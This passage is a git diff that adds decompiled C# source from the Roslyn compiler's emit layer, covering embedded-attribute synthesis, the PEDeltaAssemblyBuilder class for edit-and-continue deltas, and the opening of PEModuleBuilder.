//IL_0030: Expected O, but got Unknown + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Expected O, but got Unknown + ImmutableArray modules = _sourceAssembly.Modules; + int length = modules.Length; + for (int i = 1; i < length; i++) + { + IFileReference val = (IFileReference)Translate(modules[i], diagnostics); + try + { + ImmutableArray.Enumerator enumerator = ((PEModuleSymbol)modules[i]).Module.GetEmbeddedResourcesOrThrow().GetEnumerator(); + while (enumerator.MoveNext()) + { + EmbeddedResource current = enumerator.Current; + builder.Add(new ManagedResource(current.Name, (current.Attributes & ManifestResourceAttributes.Public) != 0, (Func)null, val, current.Offset)); + } + } + catch (BadImageFormatException) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, modules[i]), NoLocation.Singleton); + } + } + } + + internal override SynthesizedAttributeData SynthesizeEmbeddedAttribute() + { + return new SynthesizedAttributeData(_lazyEmbeddedAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + + internal override SynthesizedAttributeData SynthesizeNullableAttribute(WellKnownMember member, ImmutableArray arguments) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if ((object)_lazyNullableAttribute != null) + { + int index = (((int)member == 390) ? 1 : 0); + return new SynthesizedAttributeData(_lazyNullableAttribute.Constructors[index], arguments, ImmutableArray>.Empty); + } + return base.SynthesizeNullableAttribute(member, arguments); + } + + internal override SynthesizedAttributeData SynthesizeNullableContextAttribute(ImmutableArray arguments) + { + if ((object)_lazyNullableContextAttribute != null) + { + return new SynthesizedAttributeData(_lazyNullableContextAttribute.Constructors[0], arguments, ImmutableArray>.Empty); + } + return base.SynthesizeNullableContextAttribute(arguments); + } + + internal override SynthesizedAttributeData SynthesizeNullablePublicOnlyAttribute(ImmutableArray arguments) + { + if ((object)_lazyNullablePublicOnlyAttribute != null) + { + return new SynthesizedAttributeData(_lazyNullablePublicOnlyAttribute.Constructors[0], arguments, ImmutableArray>.Empty); + } + return base.SynthesizeNullablePublicOnlyAttribute(arguments); + } + + internal override SynthesizedAttributeData SynthesizeNativeIntegerAttribute(WellKnownMember member, ImmutableArray arguments) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if ((object)_lazyNativeIntegerAttribute != null) + { + int index = (((int)member == 463) ? 1 : 0); + return new SynthesizedAttributeData(_lazyNativeIntegerAttribute.Constructors[index], arguments, ImmutableArray>.Empty); + } + return base.SynthesizeNativeIntegerAttribute(member, arguments); + } + + internal override SynthesizedAttributeData SynthesizeScopedRefAttribute(WellKnownMember member) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if ((object)_lazyScopedRefAttribute != null) + { + return new SynthesizedAttributeData(_lazyScopedRefAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + return base.SynthesizeScopedRefAttribute(member); + } + + internal override SynthesizedAttributeData SynthesizeRefSafetyRulesAttribute(ImmutableArray arguments) + { + if ((object)_lazyRefSafetyRulesAttribute != null) + { + return new SynthesizedAttributeData(_lazyRefSafetyRulesAttribute.Constructors[0], arguments, ImmutableArray>.Empty); + } + return base.SynthesizeRefSafetyRulesAttribute(arguments); + } + + protected override SynthesizedAttributeData TrySynthesizeIsReadOnlyAttribute() + { + if ((object)_lazyIsReadOnlyAttribute != null) + { + return new SynthesizedAttributeData(_lazyIsReadOnlyAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + return base.TrySynthesizeIsReadOnlyAttribute(); + } + + protected override SynthesizedAttributeData TrySynthesizeRequiresLocationAttribute() + { + if ((object)_lazyRequiresLocationAttribute != null) + { + return new SynthesizedAttributeData(_lazyRequiresLocationAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + return base.TrySynthesizeRequiresLocationAttribute(); + } + + protected override SynthesizedAttributeData TrySynthesizeIsUnmanagedAttribute() + { + if ((object)_lazyIsUnmanagedAttribute != null) + { + return new SynthesizedAttributeData(_lazyIsUnmanagedAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + return base.TrySynthesizeIsUnmanagedAttribute(); + } + + protected override SynthesizedAttributeData TrySynthesizeIsByRefLikeAttribute() + { + if ((object)_lazyIsByRefLikeAttribute != null) + { + return new SynthesizedAttributeData(_lazyIsByRefLikeAttribute.Constructors[0], ImmutableArray.Empty, ImmutableArray>.Empty); + } + return base.TrySynthesizeIsByRefLikeAttribute(); + } + + private void CreateEmbeddedAttributesIfNeeded(BindingDiagnosticBag diagnostics) + { + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_0119: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_01af: Unknown result type (might be due to invalid IL or missing references) + EmbeddableAttributes embeddableAttributes = GetNeedsGeneratedAttributes(); + if (ShouldEmitNullablePublicOnlyAttribute() && ((PEModuleBuilder)this).Compilation.CheckIfAttributeShouldBeEmbedded(EmbeddableAttributes.NullablePublicOnlyAttribute, diagnostics, Location.None)) + { + embeddableAttributes |= EmbeddableAttributes.NullablePublicOnlyAttribute; + } + if (((SourceModuleSymbol)((PEModuleBuilder)this).Compilation.SourceModule).RequiresRefSafetyRulesAttribute() && ((PEModuleBuilder)this).Compilation.CheckIfAttributeShouldBeEmbedded(EmbeddableAttributes.RefSafetyRulesAttribute, diagnostics, Location.None)) + { + embeddableAttributes |= EmbeddableAttributes.RefSafetyRulesAttribute; + } + if (embeddableAttributes != 0) + { + Func factory = CreateParameterlessEmbeddedAttributeSymbol; + CreateAttributeIfNeeded(ref _lazyEmbeddedAttribute, diagnostics, AttributeDescription.CodeAnalysisEmbeddedAttribute, factory); + if ((embeddableAttributes & EmbeddableAttributes.IsReadOnlyAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyIsReadOnlyAttribute, diagnostics, AttributeDescription.IsReadOnlyAttribute, factory); + } + if ((embeddableAttributes & EmbeddableAttributes.RequiresLocationAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyRequiresLocationAttribute, diagnostics, AttributeDescription.RequiresLocationAttribute, factory); + } + if ((embeddableAttributes & EmbeddableAttributes.IsByRefLikeAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyIsByRefLikeAttribute, diagnostics, AttributeDescription.IsByRefLikeAttribute, factory); + } + if ((embeddableAttributes & EmbeddableAttributes.IsUnmanagedAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyIsUnmanagedAttribute, diagnostics, AttributeDescription.IsUnmanagedAttribute, factory); + } + if ((embeddableAttributes & EmbeddableAttributes.NullableAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyNullableAttribute, diagnostics, AttributeDescription.NullableAttribute, CreateNullableAttributeSymbol); + } + if ((embeddableAttributes & EmbeddableAttributes.NullableContextAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyNullableContextAttribute, diagnostics, AttributeDescription.NullableContextAttribute, CreateNullableContextAttributeSymbol); + } + if ((embeddableAttributes & EmbeddableAttributes.NullablePublicOnlyAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyNullablePublicOnlyAttribute, diagnostics, AttributeDescription.NullablePublicOnlyAttribute, CreateNullablePublicOnlyAttributeSymbol); + } + if ((embeddableAttributes & EmbeddableAttributes.NativeIntegerAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyNativeIntegerAttribute, diagnostics, AttributeDescription.NativeIntegerAttribute, CreateNativeIntegerAttributeSymbol); + } + if ((embeddableAttributes & EmbeddableAttributes.ScopedRefAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyScopedRefAttribute, diagnostics, AttributeDescription.ScopedRefAttribute, CreateScopedRefAttributeSymbol); + } + if ((embeddableAttributes & EmbeddableAttributes.RefSafetyRulesAttribute) != 0) + { + CreateAttributeIfNeeded(ref _lazyRefSafetyRulesAttribute, diagnostics, AttributeDescription.RefSafetyRulesAttribute, CreateRefSafetyRulesAttributeSymbol); + } + } + } + + private SynthesizedEmbeddedAttributeSymbol CreateParameterlessEmbeddedAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics)); + } + + private SynthesizedEmbeddedNullableAttributeSymbol CreateNullableAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedNullableAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics), GetSpecialType((SpecialType)10, diagnostics)); + } + + private SynthesizedEmbeddedNullableContextAttributeSymbol CreateNullableContextAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedNullableContextAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics), GetSpecialType((SpecialType)10, diagnostics)); + } + + private SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol CreateNullablePublicOnlyAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedNullablePublicOnlyAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics), GetSpecialType((SpecialType)7, diagnostics)); + } + + private SynthesizedEmbeddedNativeIntegerAttributeSymbol CreateNativeIntegerAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedNativeIntegerAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics), GetSpecialType((SpecialType)7, diagnostics)); + } + + private SynthesizedEmbeddedScopedRefAttributeSymbol CreateScopedRefAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedScopedRefAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics)); + } + + private SynthesizedEmbeddedRefSafetyRulesAttributeSymbol CreateRefSafetyRulesAttributeSymbol(string name, NamespaceSymbol containingNamespace, BindingDiagnosticBag diagnostics) + { + return new SynthesizedEmbeddedRefSafetyRulesAttributeSymbol(name, containingNamespace, ((PEModuleBuilder)this).SourceModule, GetWellKnownType((WellKnownType)49, diagnostics), GetSpecialType((SpecialType)13, diagnostics)); + } + + private void CreateAttributeIfNeeded(ref T symbol, BindingDiagnosticBag diagnostics, AttributeDescription description, Func factory) where T : SynthesizedEmbeddedAttributeSymbolBase + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if ((object)symbol == null) + { + AddDiagnosticsForExistingAttribute(description, diagnostics); + NamespaceSymbol orSynthesizeNamespace = GetOrSynthesizeNamespace(description.Namespace); + symbol = factory(description.Name, orSynthesizeNamespace, diagnostics); + if (symbol.GetAttributeUsageInfo() != AttributeUsageInfo.Default) + { + EnsureAttributeUsageAttributeMembersAvailable(diagnostics); + } + ((PEModuleBuilder)this).AddSynthesizedDefinition((INamespaceSymbolInternal)(object)orSynthesizeNamespace, (INamespaceOrTypeSymbolInternal)(object)symbol); + } + } + + private void AddDiagnosticsForExistingAttribute(AttributeDescription description, BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + MetadataTypeName emittedName = MetadataTypeName.FromFullName(((AttributeDescription)(ref description)).FullName, false, -1); + NamedTypeSymbol namedTypeSymbol = _sourceAssembly.SourceModule.LookupTopLevelMetadataType(ref emittedName); + if ((object)namedTypeSymbol != null) + { + diagnostics.Add(ErrorCode.ERR_TypeReserved, namedTypeSymbol.GetFirstLocation(), ((AttributeDescription)(ref description)).FullName); + } + } + + private NamespaceSymbol GetOrSynthesizeNamespace(string namespaceFullName) + { + NamespaceSymbol namespaceSymbol = ((PEModuleBuilder)this).SourceModule.GlobalNamespace; + string[] array = namespaceFullName.Split(new char[1] { '.' }); + foreach (string name in array) + { + NamespaceSymbol namespaceSymbol2 = (NamespaceSymbol)namespaceSymbol.GetMembers(name).FirstOrDefault((Symbol m) => (int)m.Kind == 12); + if (namespaceSymbol2 == null) + { + namespaceSymbol2 = new SynthesizedNamespaceSymbol(namespaceSymbol, name); + ((PEModuleBuilder)this).AddSynthesizedDefinition((INamespaceSymbolInternal)(object)namespaceSymbol, (INamespaceOrTypeSymbolInternal)(object)namespaceSymbol2); + } + namespaceSymbol = namespaceSymbol2; + } + return namespaceSymbol; + } + + private NamedTypeSymbol GetWellKnownType(WellKnownType type, BindingDiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol wellKnownType = _sourceAssembly.DeclaringCompilation.GetWellKnownType(type); + Binder.ReportUseSite(wellKnownType, diagnostics, Location.None); + return wellKnownType; + } + + private NamedTypeSymbol GetSpecialType(SpecialType type, BindingDiagnosticBag diagnostics) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = _sourceAssembly.DeclaringCompilation.GetSpecialType(type); + Binder.ReportUseSite(specialType, diagnostics, Location.None); + return specialType; + } + + private void EnsureAttributeUsageAttributeMembersAvailable(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = _sourceAssembly.DeclaringCompilation; + Binder.GetWellKnownTypeMember(declaringCompilation, (WellKnownMember)60, diagnostics, Location.None); + Binder.GetWellKnownTypeMember(declaringCompilation, (WellKnownMember)61, diagnostics, Location.None); + Binder.GetWellKnownTypeMember(declaringCompilation, (WellKnownMember)62, diagnostics, Location.None); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEDeltaAssemblyBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEDeltaAssemblyBuilder.cs new file mode 100644 index 0000000..3ae2722 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEDeltaAssemblyBuilder.cs @@ -0,0 +1,247 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal sealed class PEDeltaAssemblyBuilder : PEAssemblyBuilderBase, IPEDeltaAssemblyBuilder +{ + private readonly EmitBaseline _previousGeneration; + + private readonly CSharpDefinitionMap _previousDefinitions; + + private readonly SymbolChanges _changes; + + private readonly CSharpSymbolMatcher.DeepTranslator _deepTranslator; + + public override SymbolChanges? EncSymbolChanges => _changes; + + public override EmitBaseline PreviousGeneration => _previousGeneration; + + internal CSharpDefinitionMap PreviousDefinitions => _previousDefinitions; + + public PEDeltaAssemblyBuilder(SourceAssemblySymbol sourceAssembly, EmitOptions emitOptions, OutputKind outputKind, ModulePropertiesForSerialization serializationProperties, IEnumerable manifestResources, EmitBaseline previousGeneration, IEnumerable edits, Func isAddedSymbol) + : base(sourceAssembly, emitOptions, outputKind, serializationProperties, manifestResources, ImmutableArray.Empty) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Expected O, but got Unknown + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + EmitBaseline initialBaseline = previousGeneration.InitialBaseline; + EmitContext sourceContext = default(EmitContext); + ((EmitContext)(ref sourceContext))._002Ector((CommonPEModuleBuilder)(object)this, (SyntaxNode)null, new DiagnosticBag(), false, true); + MetadataSymbols orCreateMetadataSymbols = GetOrCreateMetadataSymbols(initialBaseline, sourceAssembly.DeclaringCompilation); + MetadataDecoder metadataDecoder = (MetadataDecoder)orCreateMetadataSymbols.MetadataDecoder; + CSharpSymbolMatcher mapToMetadata = new CSharpSymbolMatcher(otherAssembly: (PEAssemblySymbol)metadataDecoder.ModuleSymbol.ContainingAssembly, synthesizedTypes: orCreateMetadataSymbols.SynthesizedTypes, sourceAssembly: sourceAssembly, sourceContext: sourceContext); + CSharpSymbolMatcher mapToPrevious = null; + if (previousGeneration.Ordinal > 0) + { + SourceAssemblySymbol sourceAssembly2 = ((CSharpCompilation)(object)previousGeneration.Compilation).SourceAssembly; + EmitContext otherContext = default(EmitContext); + ((EmitContext)(ref otherContext))._002Ector((CommonPEModuleBuilder)(object)(PEModuleBuilder)(object)previousGeneration.PEModuleBuilder, (SyntaxNode)null, new DiagnosticBag(), false, true); + mapToPrevious = new CSharpSymbolMatcher(sourceAssembly, sourceContext, sourceAssembly2, otherContext, previousGeneration.SynthesizedTypes, previousGeneration.SynthesizedMembers, previousGeneration.DeletedMembers); + } + _previousDefinitions = new CSharpDefinitionMap(edits, metadataDecoder, mapToMetadata, mapToPrevious); + _previousGeneration = previousGeneration; + _changes = (SymbolChanges)(object)new CSharpSymbolChanges((DefinitionMap)(object)_previousDefinitions, edits, isAddedSymbol); + _deepTranslator = new CSharpSymbolMatcher.DeepTranslator(sourceAssembly.GetSpecialType((SpecialType)1)); + } + + internal override ITypeReference EncTranslateLocalVariableType(TypeSymbol type, DiagnosticBag diagnostics) + { + TypeSymbol typeSymbol = (TypeSymbol)_deepTranslator.Visit(type); + return ((PEModuleBuilder)this).Translate(typeSymbol ?? type, (SyntaxNode)null, diagnostics); + } + + private static MetadataSymbols GetOrCreateMetadataSymbols(EmitBaseline initialBaseline, CSharpCompilation compilation) + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Expected O, but got Unknown + if (initialBaseline.LazyMetadataSymbols != null) + { + return initialBaseline.LazyMetadataSymbols; + } + ModuleMetadata originalMetadata = initialBaseline.OriginalMetadata; + ImmutableDictionary assemblyReferenceIdentityMap; + MetadataDecoder metadataDecoder = new MetadataDecoder(compilation.RemoveAllSyntaxTrees().GetBoundReferenceManager().CreatePEAssemblyForAssemblyMetadata(AssemblyMetadata.Create(originalMetadata), (MetadataImportOptions)2, out assemblyReferenceIdentityMap) + .PrimaryModule); + MetadataSymbols val = new MetadataSymbols(GetSynthesizedTypesFromMetadata(originalMetadata.MetadataReader, metadataDecoder), (object)metadataDecoder, assemblyReferenceIdentityMap); + return InterlockedOperations.Initialize(ref initialBaseline.LazyMetadataSymbols, val); + } + + internal static SynthesizedTypeMaps GetSynthesizedTypesFromMetadata(MetadataReader reader, MetadataDecoder metadataDecoder) + { + //IL_0225: Unknown result type (might be due to invalid IL or missing references) + //IL_0230: Unknown result type (might be due to invalid IL or missing references) + //IL_023b: Unknown result type (might be due to invalid IL or missing references) + //IL_0245: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_0201: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + Builder val = ImmutableSegmentedDictionary.CreateBuilder(); + Builder val2 = ImmutableSegmentedDictionary.CreateBuilder(); + Builder val3 = ImmutableSegmentedDictionary.CreateBuilder(); + SynthesizedDelegateKey val4 = default(SynthesizedDelegateKey); + SynthesizedDelegateValue val5 = default(SynthesizedDelegateValue); + short num = default(short); + AnonymousTypeKey val6 = default(AnonymousTypeKey); + AnonymousTypeValue val7 = default(AnonymousTypeValue); + AnonymousTypeValue val8 = default(AnonymousTypeValue); + foreach (TypeDefinitionHandle typeDefinition2 in reader.TypeDefinitions) + { + TypeDefinition typeDefinition = reader.GetTypeDefinition(typeDefinition2); + if (!typeDefinition.Namespace.IsNil) + { + continue; + } + if (reader.StringComparer.StartsWith(typeDefinition.Name, "<>A") || reader.StringComparer.StartsWith(typeDefinition.Name, "<>F")) + { + ((SynthesizedDelegateKey)(ref val4))._002Ector(reader.GetString(typeDefinition.Name)); + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)((MetadataDecoder)metadataDecoder).GetTypeOfToken((EntityHandle)typeDefinition2); + ((SynthesizedDelegateValue)(ref val5))._002Ector((ITypeDefinition)(object)namedTypeSymbol.GetCciAdapter()); + val3.Add(val4, val5); + } + else if (reader.StringComparer.StartsWith(typeDefinition.Name, "<>f__AnonymousType")) + { + string text = MetadataHelpers.InferTypeArityAndUnmangleMetadataName(reader.GetString(typeDefinition.Name), ref num); + if (int.TryParse(text.Substring("<>f__AnonymousType".Length), NumberStyles.None, CultureInfo.InvariantCulture, out var result)) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (TryGetAnonymousTypeKey(reader, typeDefinition, instance)) + { + NamedTypeSymbol namedTypeSymbol2 = (NamedTypeSymbol)((MetadataDecoder)metadataDecoder).GetTypeOfToken((EntityHandle)typeDefinition2); + ((AnonymousTypeKey)(ref val6))._002Ector(instance.ToImmutable(), false); + ((AnonymousTypeValue)(ref val7))._002Ector(text, result, (ITypeDefinition)(object)namedTypeSymbol2.GetCciAdapter()); + val.Add(val6, val7); + } + instance.Free(); + } + } + else if (reader.StringComparer.StartsWith(typeDefinition.Name, "<>f__AnonymousDelegate")) + { + string text2 = MetadataHelpers.InferTypeArityAndUnmangleMetadataName(reader.GetString(typeDefinition.Name), ref num); + if (int.TryParse(text2.Substring("<>f__AnonymousDelegate".Length), NumberStyles.None, CultureInfo.InvariantCulture, out var result2)) + { + NamedTypeSymbol namedTypeSymbol3 = (NamedTypeSymbol)((MetadataDecoder)metadataDecoder).GetTypeOfToken((EntityHandle)typeDefinition2); + ((AnonymousTypeValue)(ref val8))._002Ector(text2, result2, (ITypeDefinition)(object)namedTypeSymbol3.GetCciAdapter()); + val2.Add(text2, val8); + } + } + } + return new SynthesizedTypeMaps((ImmutableSegmentedDictionary?)val.ToImmutable(), (ImmutableSegmentedDictionary?)val3.ToImmutable(), (ImmutableSegmentedDictionary?)val2.ToImmutable()); + } + + private static bool TryGetAnonymousTypeKey(MetadataReader reader, TypeDefinition def, ArrayBuilder builder) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + foreach (GenericParameterHandle genericParameter in def.GetGenericParameters()) + { + if (!GeneratedNameParser.TryParseAnonymousTypeParameterName(reader.GetString(reader.GetGenericParameter(genericParameter).Name), out string propertyName)) + { + return false; + } + builder.Add(new AnonymousTypeKeyField(propertyName, false, false)); + } + return true; + } + + public SynthesizedTypeMaps GetSynthesizedTypes() + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return new SynthesizedTypeMaps((ImmutableSegmentedDictionary?)((PEModuleBuilder)this).Compilation.AnonymousTypeManager.GetAnonymousTypeMap(), (ImmutableSegmentedDictionary?)((PEModuleBuilder)this).Compilation.AnonymousTypeManager.GetAnonymousDelegates(), (ImmutableSegmentedDictionary?)((PEModuleBuilder)this).Compilation.AnonymousTypeManager.GetAnonymousDelegatesWithIndexedNames()); + } + + public override IEnumerable GetTopLevelTypeDefinitions(EmitContext context) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return ((CommonPEModuleBuilder)this).GetTopLevelTypeDefinitionsCore(context); + } + + public override IEnumerable GetTopLevelSourceTypeDefinitions(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _changes.GetTopLevelSourceTypeDefinitions(context); + } + + internal override VariableSlotAllocator? TryCreateVariableSlotAllocator(MethodSymbol method, MethodSymbol topLevelMethod, DiagnosticBag diagnostics) + { + return ((DefinitionMap)_previousDefinitions).TryCreateVariableSlotAllocator(_previousGeneration, (Compilation)(object)((PEModuleBuilder)this).Compilation, (IMethodSymbolInternal)(object)method, (IMethodSymbolInternal)(object)topLevelMethod, diagnostics); + } + + internal override MethodInstrumentation GetMethodBodyInstrumentations(MethodSymbol method) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return ((DefinitionMap)_previousDefinitions).GetMethodBodyInstrumentations((IMethodSymbolInternal)(object)method); + } + + internal override ImmutableArray GetPreviousAnonymousTypes() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + SynthesizedTypeMaps synthesizedTypes = _previousGeneration.SynthesizedTypes; + return ImmutableArray.CreateRange((IEnumerable)(object)((SynthesizedTypeMaps)(ref synthesizedTypes)).AnonymousTypes.Keys); + } + + internal override ImmutableArray GetPreviousAnonymousDelegates() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + SynthesizedTypeMaps synthesizedTypes = _previousGeneration.SynthesizedTypes; + return ImmutableArray.CreateRange((IEnumerable)(object)((SynthesizedTypeMaps)(ref synthesizedTypes)).AnonymousDelegates.Keys); + } + + internal override int GetNextAnonymousTypeIndex() + { + return _previousGeneration.GetNextAnonymousTypeIndex(false); + } + + internal override bool TryGetAnonymousTypeName(AnonymousTypeManager.AnonymousTypeTemplateSymbol template, [NotNullWhen(true)] out string? name, out int index) + { + return _previousDefinitions.TryGetAnonymousTypeName(template, out name, out index); + } + + public void OnCreatedIndices(DiagnosticBag diagnostics) + { + EmbeddedTypesManager embeddedTypesManagerOpt = ((PEModuleBuilder)this).EmbeddedTypesManagerOpt; + if (embeddedTypesManagerOpt == null) + { + return; + } + foreach (NamedTypeSymbol key in ((EmbeddedTypesManager)embeddedTypesManagerOpt).EmbeddedTypesMap.Keys) + { + diagnostics.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_EncNoPIAReference, key.AdaptedSymbol), Location.None); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEModuleBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEModuleBuilder.cs new file mode 100644 index 0000000..12513e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Emit/PEModuleBuilder.cs @@ -0,0 +1,1637 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection; +using System.Reflection.PortableExecutable; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Emit.NoPia; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Emit; + +internal abstract class PEModuleBuilder : PEModuleBuilder +{ + protected readonly ConcurrentDictionary AssemblyOrModuleSymbolToModuleRefMap = new ConcurrentDictionary(); + + private readonly ConcurrentDictionary _genericInstanceMap = new ConcurrentDictionary(SymbolEqualityComparer.ConsiderEverything); + + private readonly ConcurrentDictionary> _translatedImportsMap = new 